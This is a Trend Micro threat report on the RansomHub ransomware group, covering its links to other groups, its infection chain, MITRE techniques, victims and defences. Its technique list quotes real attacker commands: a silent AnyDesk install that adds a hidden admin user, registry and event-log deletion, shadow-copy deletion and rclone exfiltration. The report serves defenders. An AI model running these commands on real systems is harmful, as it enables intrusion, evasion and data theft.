➔
search
✕

Ransomware Spotlight: Ransomhub

20 dezembro 2024
X



RansomHub

By Trend Research

RansomHub is a young Ransomware-as-a-Service (RaaS) group tracked by Trend Micro as Water Bakunawa. Despite being a young ransomware group first detected in February 2024, RansomHub moves boldly by targeting larger enterprises more likely to pay ransoms.

Ransomware Spotlight: RansomHub Infographic View infographic of "Ransomware Spotlight: RansomHub"

RansomHub is a young Ransomware-as-a-Service (RaaS) group first detected in February 2024 and tracked by Trend Micro as Water Bakunawa. It quickly gained notoriety for their “big game hunting” tactic. They prey on victims who are more likely to pay large ransoms to mitigate the downtime on business operations caused by a ransomware attack. They target cloud storage backups and misconfigured Amazon S3 instances to threaten backup providers with data leaks, taking advantage of the trust between providers and their clients.

In March 2024, RansomHub added Change Healthcare to their list of victims. This company was previously targeted by BlackCat in an attack that made headlines when an affiliate accused the ransomware group otherwise known as ALPHV of pulling an exit scam, and later followed by the group going dark. It’s possible that RansomHub is a rebrand of the BlackCat ransomware group or that affiliates wronged in the alleged exit scam moved to RansomHub to collect the ransom money they believe they are owed. There are also reports indicating that BlackCat affiliates are joining the RansomHub group.

What organizations need to know about RansomHub ransomware

The RansomHub ransomware group (Water Bakunawa) recruits affiliates through the mostly Russian cybercriminal dark web forum RAMP. The ransomware group uses ransomware variants rewritten in GoLang to target Windows and Linux systems and uses C++ to target ESXi servers. The group adhered by strict rules: they do not attack non-profit organizations, and they do not target again victims who have already paid. They also avoid targeting members of the Commonwealth of Independent States (CIS), as well as Cuba, North Korea, and China.

RansomHub has been observed to promise sending a decryptor for free if an affiliate doesn't provide one after payment or if they mistakenly attack an off-limits organization. Affiliates keep 90% of the ransom, with the remaining 10% going to the main group.

There are also notable similarities between the RansomHub group and the Knight ransomware groups, also referred to as Cyclops ransomware. The management panel of RansomHub's RaaS operation shares design and feature similarities with the Knight RaaS panel. Cyclops is recognized as the operator of the Knight RaaS program and offered to sell the source code for Knight 3.0 ransomware on the RAMP cybercrime forum back in February 18, 2024. This offer included the source code for both the management panel and the ransomware, written in C++ and GoLang, languages also used for RansomHub's ransomware.

Interestingly, on February 12, 2024, days before the source code sale, the Knight RaaS Tor-based victim name-and-shame blog became inaccessible and remained so at the time of writing. Meanwhile, the RansomHub RaaS was launched around the same time. These connections suggest that the RansomHub ransomware may be a successor or substitute for the Knight ransomware group.

Infection chain and techniques

The RansomHub ransomware observed infection chain

Figure 1: The RansomHub ransomware observed infection chain


Initial Access

  • The RansomHub ransomware group use spear-phishing voice scams for initial access. The cybercriminals use social engineering to orchestrate victim account password resets, employing speakers with a convincing American accent to lure victims. RansomHub also possibly uses compromised VPN accounts.

Execution

  • Operators behind RansomHub use PsExec to execute commands remotely on the victim’s machine. They have also been observed to use Powershell scripts to execute commands related to credential access, discover remote systems, establish SSH connections.
  • They have also been observed to use Python scripts to establish SSH connections, transfer the encryptor via Secure File Transfer Protocol (SFTP), and execute the encryptor simultaneously across multiple servers.

Persistence

  • RansomHub uses a local account to maintain access and adds the created user to administrator groups to maintain elevated access.

Defense Evasion

  • RansomHub drops and executes a batch file named disableAV.bat detected as Trojan.BAT.KAPROCHANDLER.A. It copies and executes the binary used to terminate and delete antivirus-related processes and files. The binary used, detected as STONESTOP, uses a signed driver, detected as POORTRY, to delete files and terminate processes that are related to antivirus products.
  • The ransomware also uses another batch file to delete multiple registry subkeys and entries intended to bypass virus and threat protection settings in Windows.
  • RansomHub also uses TDSSKiller to disable antivirus or EDR solutions in the target system and TOGGLEDEFENDER to disable Windows Defender.
  • The ransomware group also uses EDR Kill Shifter that functions as a loader executable that utilizes the Bring Your Own Vulnerable Driver (BYOVD) technique. It exploits different vulnerable drivers to disable EDR protection.
  • The ransomware group also uses IOBit Unlocker to unlock files and folders that are locked by other processes or programs.

Credential Access

  • RansomHub uses MIMIKATZ, LaZagne, and SecretServerSecretStealer to retrieve passwords and credentials on their victim’s machines.
  • The ransomware group has also been observed to exploit the Veeam Backup & Replication component vulnerability CVE-2023-27532, where they connected to the Veeam.Backup.Service.exe on TCP/9401, created a network share, and then created and executed a Powershell script to dump credentials from the Veeam database to a text file. The group was also seen using Veeamp which is a credential dumping tool specifically designed to extract credentials from a SQL database utilized by Veeam backup management software.
  • A sample from the ransomware group has also been observed to conduct a brute force attack on the domain controller which was followed by a ntlmv1 logon to the domain controller. The group has also been observed extracting the NTDS.dit file which is a database that stores the Active Directory data including users, groups, security descriptors and password hashes.
  • RansomHub also uses a PowerShell script that interacts with the CyberArk Privileged Access Security (PAS) solution to pull account information from safes and export it to a CSV file.

Discovery

  • RansomHub operators use NetScan to discover and retrieve information about network devices. They also use Advanced Port Scanner to scan for open ports on network computers.

Lateral Movement

  • RansomHub ransomware uses the cmd command xcopy/copy to transfer the binary and driver used to terminate and delete anti-virus related processes and files, respectively. The group employs a PowerShell script to connect to a vCenter Server, retrieve all ESXi hosts, and configures the SSH service on each host to start automatically, enabling external SSH connections. The script also has the capability to reset the ESXi root user password and then disconnect from the vCenter Server.
  • RansomHub operators also use a SMB spreader that uses Impacket, which was provided to RansomHub affiliates. The SMB spreader runs a specified ransomware executable over the affected system’s local network.
  • The group also used SFTP to transfer the encryptor.

Command and Control

  • RansomHub operators use Atera, Splashtop, AnyDesk, Ngrok, Screen Connect and Remmina to to gain access on victim machines remotely.

Impact

  • RansomHub ransomware uses two encryption algorithms to encrypt target files: ECDH and AES. The ransomware then appends the 32-byte master public key from its configuration to the end of each encrypted file. The ransomware binary requires a -pass argument with a 32-byte passphrase to be specified when the ransomware is executed. The 32-byte passphrase is used to decrypt an embedded configuration during runtime which contains the file extensions, file names, and folders to avoid, processes and services to terminate, as well as compromised login accounts.

Exfiltration

  • RansomHub ransomware has been detected using the third-party tool and web-service RClone to exfiltrate to stolen information.

MITRE tactics and techniques

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCommand and ControlImpactExfiltration

T1078 - Valid Accounts
The ransomware group could have possibly used compromised VPN accounts.

T1566.004 - Phishing: Spearphishing Voice
Based on external reports, the ransomware group uses social engineering to orchestrate victim account password resets, particularly with American-accented speakers

T1059.001 - Command and Scripting Interpreter: PowerShell
• Based on external reports, the ransomware group uses PowerShell scripts to execute commands related to credential access, discover remote systems, and enable SSH service.
• The ransomware group also used a PowerShell script to download AnyDesk:
Function AnyDesk { mkdir "C:\ProgramData\AnyDesk" # Download AnyDesk $clnt = new-object System.Net.WebClient $url = "hxxp://download[.]anydesk[.]com/AnyDesk.exe" $file = "C:\ProgramData\AnyDesk.exe" $clnt.DownloadFile($url,$file) cmd.exe /c C:\ProgramData\AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-win --silent cmd.exe /c echo {redacted} | C:\ProgramData\anydesk.exe --set-password net user {redacted} "{redacted}" /add net localgroup Administrators {redacted} /ADD reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v {redacted} /t REG_DWORD /d 0 /f cmd.exe /c C:\ProgramData\AnyDesk.exe --get-id }

T1059.006 - Command and Scripting Interpreter: Python
Based on external reports, the ransomware group utilizes a customized Python script to establish an SSH connection with targeted ESXi servers, transfer the encryptor via SFTP, confirm the successful transfer, and execute the encryptor simultaneously across multiple servers.

T1059.003 - Command and Scripting Interpreter: Windows Command Shell
The ransomware binary accepts the following parameters:

Other versions of the RansomHub accepts the following command line parameters:

It can also execute supplied commands before its encryption routine by using the -cmd {command to execute} parameter.

T1136.001 - Create Account: Local Account
The ransomware group was able to execute command via the net command-line utility to create a local account, maintaining access to victim systems.

T1098 - Account Manipulation
The ransomware group was able to execute command via the net command-line utility to add created user account to the administrator groups to maintain elevated access.

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
If -safeboot is passed as an argument, the ransomware binary adds the following entries to the SOFTWARE\Microsoft\Windows NT\CurrentVersion\RunOnce registry key to execute itself upon reboot:
*zCCyEs = {Malware File Path}\{Malware File Name} -safeboot-instance -pass {32-byte passphrase}

T1547 - Boot or Logon Autostart Execution
• The ransomware binary enables automatic logon by adding the following registry entries in the SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon.
• The credentials are then saved to a text file named user.txt. The login information is also displayed in the console.
AutoAdminLogon = 1
DefaultUserName = Administrator
DefaultDomainName =
DefaultPassword = {random characters}

T1078.003 - Valid Accounts: Local Accounts
If -safeboot is passed as an argument, the ransomware binary attempts to login as the administrator using the compromised usernames and passwords included in the credentials key in the encrypted configuration using the API LogonUserW. If the login attempt fails it enables automatic logon.

T1134.001 - Access Token Manipulation: Token Impersonation/Theft
The ransomware binary can impersonate a logged-on user's security context using a call to the ImpersonateLoggedOnUser API.

T1480 - Execution Guardrails
The ransomware binary requires a -pass argument with a 32 byte passphrase to be specified when the ransomware is executed. If the wrong password is supplied, the RansomHub sample will not properly execute and will instead print bad config to the console.

T1112 - Modify Registry
Based on external reports, The ransomware group removes various registry subkeys and entries to bypass virus and threat protection settings in Windows:
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies" /f
reg delete "HKCU\Software\Microsoft\WindowsSelfHost" /f
reg delete "HKCU\Software\Policies" /f
reg delete "HKLM\Software\Microsoft\Policies" /for
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\PColicies" /f
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Windows Store\Windows Update" /f
reg delete "HKLM\Software\Microsoft\WindowsSelfHost" /f
reg delete "HKLM\Software\Policies" /f
reg delete "HKLM\Software\WOW6432Node\Microsoft\Policies" /for
reg delete "HKLM\Software\WOW6432Node\Microsoft\Windows\\CurrentVersion\Policies" /f
reg delete "HKLM\Software\WOW6432Node\Microsoft\Windows\\CurrentVersion\Windows Store\Windows Update" /f

T1027.013 - Obfuscated Files or Information: Encrypted/Encoded File
The ransomware binary used an encrypted configuration which will be decrypted at runtime using the 32-byte passphrase used during command line execution. It also contains configurable settings that exist under the settings key in the encrypted configuration.

T1564.003 - Hide Artifacts: Hidden Window
The ransomware binary has used the API ShowWindow to hide the console window.

T1070.001 - Clear Windows Event Logs
Using the API CreateProcessW, the ransomware binary clears windows event logs using the following utility commands:
• cmd.exe /c wevtutil cl security
• cmd.exe /c wevtutil cl system
• cmd.exe /c wevtutil cl application
The ransomware group also used a batch file named LogDel.bat to clear Windows event logs.
List of cleared logs in the IoCs

T1562.006 - Impair Defenses: Indicator Blocking
The ransomware binary uses the API SetErrorMode with 0x8003 as an argument to prevent the system from displaying any error on the screen.

T1222.001 - Windows File and Directory Permissions Modification
It executes the following commands to allow remote symbolic links to point to local resources:
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2L:1"
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2R:1"
LogDel.bat was used to modify the attributes of the default.rdp by removing the system and hidden attributes.
attrib  Default.rdp -s -h

T1562.009 - Impair Defenses: Safe Mode Boot
If -safeboot is passed as an argument, the ransomware binary can reboot the victim's machine in safe mode with networking by executing the following processes using the API CreateProcessW.
bcdedit /set {default} safeboot network

T1003 - OS Credential Dumping
After it connects to Veeam.Backup.Service.exe on TCP/9401, it creates a network share using the net command-line utility then it creates a Powershell script on the network share executed to dump credentials from the Veeam database. The dumped credentials are then saved to a text file.

T1003.003 - OS Credential Dumping: NTDS
The ransomware group was observed to be extracting the NTDS.dit file.

T1110 - Brute Force
The ransomware group conducted brute force attack on the domain controller which was followed by an ntlmv1 logon to the domain controller.

T1110.003 - Brute Force: Password Spraying
The ransomware group used a batch file named 232.bat to perform password spraying.

T1003.001 - OS Credential Dumping: LSASS Memory
The ransomware group performed credential dumping through the LSASS task manager dump.

T1555.005 - Credentials from Password Stores: Password Managers
Based on external reports, the ransomware group used a PowerShell script that interacts with the CyberArk Privileged Access Security (PAS) solution to pull account information from safes and export it to a CSV file.

T1057 - Process Discovery
The ransomware binary uses the APIs Process32FirstW and Process32NextW to search for processes that it will terminate listed in its configuration, kill_processes.
See the list of kill_processes here.

T1082 - System Information Discovery
The ransomware binary uses the API GetLogicalDriveStringsW to enumerate all mounted drives, and GetDriveTypeW to determine the drive type.

T1083 - File and Directory Discovery
The ransomware binary uses the API FindFirstFileW and FindNextFileW to search for files and folders that it will encrypt and to avoid whitelisted files and folders.
Click to see the list of white-folders and white_files.

T1082 - System Information Discovery
The ransomware binary attempts to determine if it is operating in a WINE environment by using the GetProcAddress API to check for the presence of the wine_get_version function.

T1087.001 - Account Discovery: Local Account
The ransomware binary uses the API NetUserEnum to enumerate local accounts.

T1135 - Network Share Discovery
The ransomware binary uses the API NetShareEnum to discover and encrypt shared resources on the compromised hosts.

T1570 - Lateral Tool Transfer
The ransomware binary uses the cmd command xcopy/copy to transfer the binary and driver used to terminate and delete anti-virus-related processes and files, respectively.

T1021.004 - Remote Services: SSH
Based on external reports, the ransomware group employed a PowerShell script to connect to a vCenter Server, retrieve all ESXi hosts, and configure the SSH service on each host to start automatically, enabling external SSH connections. The script also has the capability to reset the ESXi root user password and then disconnect from the vCenter Server.

T1105 - Ingress Tool Transfer
Based on external reports, the ransomware group uses SFTP to transfer the encryptor.

T1486 - Data Encrypted for Impact
It avoids encrypting files with the following file extensions:
• *.deskthemepack
• *.themepack
• *.theme
• *.msstyles
• *.exe
• *.drv
• *.msc
• *.dll
• *.lock
• *.sys
• *.msu
• *.lnk
• *.ps1
• *.iso
• *.inf
• *.cab
• *.386

It avoids encrypting files with the following strings in their file name:
• NTUSER.DAT
• autorun.inf
• boot.ini
• desktop.ini
• thumbs.db

• It avoids encrypting files found in the folders in this list of white_folders.
• It appends the first six characters of the master public key as a file extension to the encrypted file.
• It empties the recycle bin of the affected machine.
• It drops the following ransom notes:
{Encrypted directory}\README_{first six characters of the master public key}.txt
• It uses two encryption algorithms to encrypt target files, ECDH and AES. The ransomware then appends the 32-byte master public key from its configuration to the end of each encrypted file. It has an embedded configuration, decrypted during runtime, which contains the file extensions, file names, and folders to avoid.

T1490 -  Inhibit System Recovery
The ransomware binary executes the following command to delete shadow copies:
powershell.exe -Command Powershell -Command "\"Get-CimInstance Win32_ShadowCopy | Remove-CimInstance\""

T1489 - Service Stop
The ransomware binary executes the following commands to stop all virtual machines running on a Hyper-V host:
powershell.exe -Command PowerShell -Command "\"Get-VM | Stop-VM -Force\""
The ransomware binary also stops all the IIS services using the following command:
cmd.exe /c iisreset.exe /stop
The ransomware binary uses the API ControlService with dwControl set to 1 (SERVICE_CONTROL_STOP) to terminate services included in its configuration, kill_services.
See the list of kill-services here.

T1529 - System Shutdown/Reboot
If -safeboot is passed as an argument, the ransomware binary issues the following command to reboot a system:
cmd.exe /c shutdown /r /f /t 0

T1567.002 - Exfiltration to Cloud Storage
Using RClone, the group exfiltrated files via the following command:
rclone copy \\{redacted}\i$ {redacted}\Users --include ".pdf" --include ".xls" --include ".xlsx" --include ".doc" --include ".msg" --include ".rtf" --include ".mdb" --include ".db" --include ".csv" --include ".docx" --include ".jpg" --include ".png" --include ".dot" --include ".wbk" --include ".docm" --include ".dotx" --include ".xlt" --include ".xlm" --include ".accdb" --include ".sql" --include ".pst" --include ".jpeg" --include ".xlsm" --include ".xlsb" --include ".xlr" --include ".sqb" --include ".sq" --include ".DCM" --include "*.tif" --max-age 2020-01-01

Summary of malware, tools, and exploits used

Security teams can watch out for the presence of the following malware tools and exploits that are typically used in LockBit attacks: 

ExecutionPrivilege EscalationCredential AccessLateral MovementDiscoveryCommand and ControlDefense EvasionExfiltrationImpact
  • PsExec
  • CVE-2020-1472
  • MIMIKATZ
  • LaZagne
  • CVE-2023-27532
  • SecretServerSecretStealer
  • Veeamp
  • SMB Spreader
  • NetScan
  • Advanced Port Scanner
  • Atera
  • Splashtop
  • AnyDesk
  • Ngrok
  • Remmina
  • ConnectWise Screen Connect
  • POORTRY 
  • STONESTOP
  • TOGGLEDEFENDER
  • TDSSKiller
  • EDR Kill Shifter
  • IOBit Unlocker
  • RClone
  • RansomHub Ransomware

Top affected countries and industries from Trend Micro threat intelligence

In this section, we outline the activity of both the RansomHub ransomware and the Knight ransomware as investigations suggest that the two are related. RansomHub was first reported in February 2024, but the first instance of an attempted attack in Trend Micro-covered systems was in April 2024. The Knight ransomware, on the other hand, has been active since January this year, when we begin tracking in our telemetry.

Figure 2. A monthly breakdown of attempted attacks from Knight ransomware (left) and RansomHub ransomware (right) from January to September 2024

Figure 2. A monthly breakdown of attempted attacks from Knight ransomware (left) and RansomHub ransomware (right) from January to September 2024

Knight ransomware’s top targeted countries include Brazil, the United States, Turkiye, Ireland, and Israel, while RansomHub focused their efforts in targeting enterprises from the United States and Malaysia.

Figure 3. A breakdown of the top countries targeted by the Knight (left) and RansomHub (right) ransomware groups from January to September 2024)

Figure 3. A breakdown of the top countries targeted by the Knight (left) and RansomHub (right) ransomware groups from January to September 2024)

While many customers chose not to specify the industry in which they belong, data from those that did reveal that Knight ransomware targeted financial institutions the most, while RansomHub ransomware targeted the education sector the most.

Figure 4. A breakdown of the top industries targeted by the Knight (left) and RansomHub (right) ransomware groups from January to September 2024)

Figure 4. A breakdown of the top industries targeted by the Knight (left) and RansomHub (right) ransomware groups from January to September 2024)

Targeted regions and industries according to RansomHub ransomware’s leak site

This section looks at data based on attacks recorded on the leak site of the RansomHub ransomware and a combination of our open-source intelligence (OSINT) research and an investigation from July 2023 to September 2024.


The gang has so far added at least 338 victims to its leak site, but the actual victim count is likely higher.

Of the total number of revealed victims, the RansomHub ransomware targeted enterprises in the North American region the most.  

Figure 5. The distribution by region of the RansomHub ransomware’s victim organizations, excluding victims with unknown locations

Figure 5. The distribution by region of the RansomHub ransomware’s victim organizations, excluding victims with unknown locations
Sources: RansomHub ransomware’s leak site and Trend Micro’s OSINT research (July 2023 - September 2024)

RansomHub targeted enterprises in the United State the most. The gang launched attacks on other countries fewer times, but their total of 338 victims comes from a wide range of at least 58 countries.

Figure 6. The top 10 countries targeted by the RansomHub ransomware

Figure 6. The top 10 countries targeted by the RansomHub ransomware
Sources: RansomHub ransomware’s leak site and Trend Micro’s OSINT research (July 2023 - September 2024)

Majority of the RansomHub ransomware’s victim organizations were small businesses. The gang targeted medium businesses 65 times, and large enterprises only 38 times.

Figure 9. The distribution by organization size of INC’s victim organizations

Figure 7. The distribution by organization size of RansomHub’s victim organizations
Sources: RansomHub ransomware’s leak site and Trend Micro’s OSINT research (July 2023 - September 2024)

There are no outstanding sectors that RansomHub prefers to target, as their victimology by industry is spread out across sectors; however, the sector with the most attack counts as revealed by their leak site are from the IT sector.

Figure 10. A breakdown of the top 10 industries targeted by Ransomhubransomware attacks

Figure 8. A breakdown of the top 10 industries targeted by RansomHub ransomware attacks
Sources: RansomHub ransomware’s leak site and Trend Micro’s OSINT research (July 2023 - September 2024)


Trend Micro Vision One Threat Intelligence

To stay ahead of evolving threats, Trend Micro customers can access a range of Intelligence Reports and Threat Insights within Trend Micro Vision One. Threat Insights helps customers stay ahead of cyber threats before they happen and better prepared for emerging threats. It offers comprehensive information on threat actors, their malicious activities, and the techniques they use. By leveraging this intelligence, customers can take proactive steps to protect their environments, mitigate risks, and respond effectively to threats.

Trend Micro Vision One Intelligence Reports App [IOC Sweeping]

The following can be searched in the Trend Vision One Intelligence Reports dashboard for IOC sweeping:

  • RansomHub Attacks Surge: New Anti-EDR Tactics Unveiled and AMADEY Infrastracture Connection
  • [Hot Threats]: New Indicators for RANSOMHUB Ransomware -
  • New RansomHub attack uses TDSKiller and LaZagne, disables EDR
  • StopRansomware: RansomHub Ransomware

Trend Micro Vision One Threat Insights App

Threat Actors

Emerging Threats


Trend Vision One Hunting Query

Trend Vision One customers can use the Search App to match or hunt the malicious indicators mentioned in this feature with data in their environment.

  • RansomHub Ransomware VSAPI Detections and Ransom Note:
malName:(*RANSOMHUB* or *KNIGHT*) AND eventName: MALWARE_DETECTION AND FileFullPath:("*\\README_*")
  • RansomHub Ransomware Process Execution:
processCmd:"/*cmd.exe /c iisreset.exe /stop*/" AND processCmd:"*powershell.exe -Command PowerShell -Command "\"Get-CimInstance Win32_ShadowCopy | Remove-CimInstance\""*/" AND processCmd:"*powershell.exe -Command PowerShell -Command "\"Get-VM | Stop-VM -Force\""*/"

More hunting queries are available for Vision One customers with Threat Insights Entitlement enabled.

Recommendations

RansomHub ransomware is the latest evidence that cybercriminals are easy to respawn and work together with other groups to maximize profits from their extortion schemes. Its links to the people behind BlackCat and Knight ransomware make it a formidable threat worth watching out for, especially as the group’s victimology in less than a year of activity suggests frequent and aggressive attacks.


To protect systems against RansomHub ransomware and other similar threats, organizations can implement security frameworks that allocate resources systematically to establish a strong defense strategy.


The following are some best practices that organizations can consider to help protect themselves from ransomware infections:


Audit and inventory

  • Take an inventory of assets and data 
  • Identify authorized and unauthorized devices and software 
  • Make an audit of event and incident logs 

Configure and monitor

  • Manage hardware and software configurations 
  • Grant admin privileges and access only when necessary to an employee’s role 
  • Monitor network ports, protocols, and services 
  • Activate security configurations on network infrastructure devices such as firewalls and routers 
  • Establish a software allow list that only executes legitimate applications 

Patch and update

  • Conduct regular vulnerability assessments
  • Perform patching or virtual patching for operating systems and applications 
  • Update software and applications to their latest versions 

Protect and recover

  • Implement data protection, backup, and recovery measures 
  • Enable multifactor authentication (MFA) 

Secure and defend

  • Employ sandbox analysis to block malicious emails 
  • Deploy the latest versions of security solutions to all layers of the system, including email, endpoint, web, and network 
  • Detect early signs of an attack such as the presence of suspicious tools in the system 
  • Use advanced detection technologies such as those powered by AI and machine learning

Train and test

  • Regularly train and assess employees on security skills 
  • Conduct red-team exercises and penetration tests

A multilayered approach can help organizations guard the possible entry points into the system (endpoint, email, web, and network). Security solutions can detect malicious components and suspicious behavior could help protect enterprises.

  • Trend Micro Vision One™ provides multilayered protection and behavior detection, which helps block questionable behavior and tools early on before the ransomware can do irreversible damage to the system.
  • Trend Micro Cloud One™ Workload Security protects systems against both known and unknown threats that exploit vulnerabilities. This protection is made possible through techniques such as virtual patching and machine learning.
  • Trend Micro™ Deep Discovery™ Email Inspector employs custom sandboxing and advanced analysis techniques to effectively block malicious emails, including phishing emails that can serve as entry points for ransomware.
  • Trend Micro Apex One™ offers next-level automated threat detection and response against advanced concerns such as fileless threats and ransomware, ensuring the protection of endpoints.
HIDE

Like it? Add this infographic to your site:
1. Click on the box below.   2. Press Ctrl+A to select all.   3. Press Ctrl+C to copy.   4. Paste the code into your page (Ctrl+V).

Image will appear the same size as you see above.

PostadoIn Ransomware Spotlight, Research

Artículos Relacionados

    Nós recomendamos